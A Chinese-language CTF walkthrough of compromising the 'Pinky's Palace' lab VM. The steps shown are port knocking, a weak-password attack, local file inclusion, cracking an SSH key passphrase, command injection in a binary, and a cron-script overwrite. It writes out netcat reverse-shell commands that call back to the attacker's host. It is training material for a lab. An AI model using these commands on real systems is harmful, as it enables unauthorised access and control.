# 靶场搭建
下载后直接导入虚拟机,默认是 NAT 模式,直接启动。
IP: 192.168.253.130
# 信息初收集
80/tcp open http | |
4655/tcp filtered unknown | |
7654/tcp filtered unknown | |
31337/tcp filtered Elite |
http://192.168.253.130/ [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.253.130], JQuery[1.12.4], MetaGenerator[WordPress 4.9.4], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Pinky's Blog – Just another WordPress site], UncommonHeaders[link], WordPress[4.9.4]
是一个 wordpress 的网站
[04:24:02] 200 - 456B - /secret/
[04:24:21] 301 - 324B - /wp-includes -> http://192.168.253.130/wp-includes/
看到有一个提示性的目录,里面有个 txt,内容如下:
8890 | |
7000 | |
666 | |
pinkydb |
三个数字看上去像三个端口,但是并没有开放。所以我合理怀疑跟之前的靶场一样需要 knock
一下才会开放。
于是 knock 一下这三个端口
┌──(root㉿kali)-[~]
└─# knock 192.168.253.130 8890 7000 666
发现这三个之前处于过滤状态的端口都开放了。
识别一下这三个端口的具体服务
4655/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
7654/tcp open http nginx 1.10.3
31337/tcp open Elite?
31337 端口没识别出来,直接访问发现是一个后门信息哇!
[+] Welcome to The Daemon [+] | |
�This is soon to be our backdoor | |
�into Pinky's Palace. | |
=> �GET / HTTP/1.1 | |
Host: 192.168.253.130:31337 | |
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 | |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 | |
Accept-Language: en-US,en;q=0.5 | |
Accept-Encoding: gzip, deflate | |
Connection: keep-alive | |
Upgrade-Insecure-Requests: 1 |
nc 连了一下,没有发现是重复输出,搞不明白了,先不管吧。
4655 是 SSH,先丢一边,看这个 7654 是 nginx,直接访问 IP 的话没有办法访问,所以必须按照靶场说明添加一条本地解析。
┌──(root㉿kali)-[~] | |
└─# echo 192.168.253.130 pinkydb | sudo tee -a /etc/hosts |
然后访问 http://pinkydb:7654/
发现是登录界面,二话不说直接 sql 注入,注入不了一点 ==、
那只有尝试弱口令了啊,先从 80 端口收集一下账号,得到一个账号: pinky1337
, 再加几个账号进行爆破, pinky,root,admin
直接启动
# 渗透利用
# 弱口令
可以通过 cewl
工具通过爬虫生成字典,或者 rockyou、其他的字典生成方式。
拿到账号密码两组
pinky\Passione | |
pinky1337\Pinky |
登录看看怎么个事
# 文件包含
登录进来之后看到 URL 就是一个文件包含,直接改成 /etc/passwd
,发现读取成功。确实存在文件包含,但是也没有写入点,日志没有访问权限,没办法写马。
# RSA 私钥登录
通过登录口进去看到了有一个 RSA 私钥,通过 note 页面知道这个是 Stefano
的私钥,直接登录她的终端看看。
先将密钥的权限设置为 600: chmod 600 id_rsa
然后尝试登录: ssh -i id_rsa [email protected] -p 4655
。
发现有密钥也有密码的,那么就用 john 破解一下
┌──(root㉿kali)-[~/Downloads]
└─# ssh2john id_rsa >> id_rsa.txt
┌──(root㉿kali)-[~/Downloads]
└─# john -w=/usr/share/wordlists/rockyou.txt id_rsa.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
secretz101 (id_rsa)
1g 0:00:00:00 DONE (2024-04-29 08:32) 1.369g/s 1788Kp/s 1788Kc/s 1788KC/s secter..secretshadow
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
得到口令: secretz101
然后 ssh 连接上去
# 提权
查看命令记录,发现存在一个 qsub 文件,但是没有权限执行,看到权限感觉和 www 用户是有关系的,那用之前文件包含的漏洞包一下看看
包含到之后看到有内容之中有一条可以的命令 /bin/echo %s >> /home/pinky/messages/stefano_msg.txt%s TERM
,可能有问题
可以把这个文件下载下来,然后逆向分析。
这个二进制文件的逻辑是,通过判断 TERM 环境变量的值,和输入的密码是否相符合,如果相符合才会进行下一步,也就是执行上上面的命令。
上面的命令明显可以进行 RCE。
那么我们就查看一下 TERM 变量的值,在输入密码的时候输入这个值,然后触发 RCE
stefano@Pinkys-Palace:~/tools$ echo $TERM
xterm-256color
反弹 shell
stefano@Pinkys-Palace:~/tools$ ./qsub '$(nc -e /bin/bash 192.168.253.128 443)' | |
[+] Input Password: xterm-256color |
拿到了 pinky 的 shell
查看命令记录,看到有一个 backup.sh 的文件,查看一下这个文件,估计是个定时任务,发现是需要 pinky 用户组的用户,所以我再将这个用户加入至 pinky 用户组: newgrp pinky
newgrp 命令是用于切换用户的初始登录组。在类 Unix 操作系统中,每个用户都有一个初始登录组,通常与其用户名相同。newgrp 命令允许用户在不注销的情况下更改其初始登录组。
当用户使用 newgrp 命令时,系统会要求用户输入要切换到的新组的密码(如果有密码)。完成验证后,用户的初始登录组将更改为新组,并且用户将在新组的环境中继续工作,直到注销登录或者再次使用 newgrp 命令切换回原始的初始登录组。
这个命令通常用于管理文件和目录的访问权限,以及在多用户环境下进行协作工作。
然后就用权限读写 backup.sh 文件了
echo "nc -e /bin/bash 192.168.253.128 5555" > backup.sh |
监听后等待反弹 shell
弹过来之后就拿到了 demon 的权限。
# 缓冲区溢出
后面的缓冲区溢出攻击我就不会了,之后再说吧 J8
# 小结
循环的信息收集,一点点寻找可以利用的点拿到更多权限
感觉对交互式 shell 的理解还是很欠缺,没有对提升交互式 shell 的底层理解。需要继续搞一搞 linux
二进制安全有时间该开始了,缓冲区的这种漏洞虽然原理明白,但是具体的基础知识和细节什么都不会。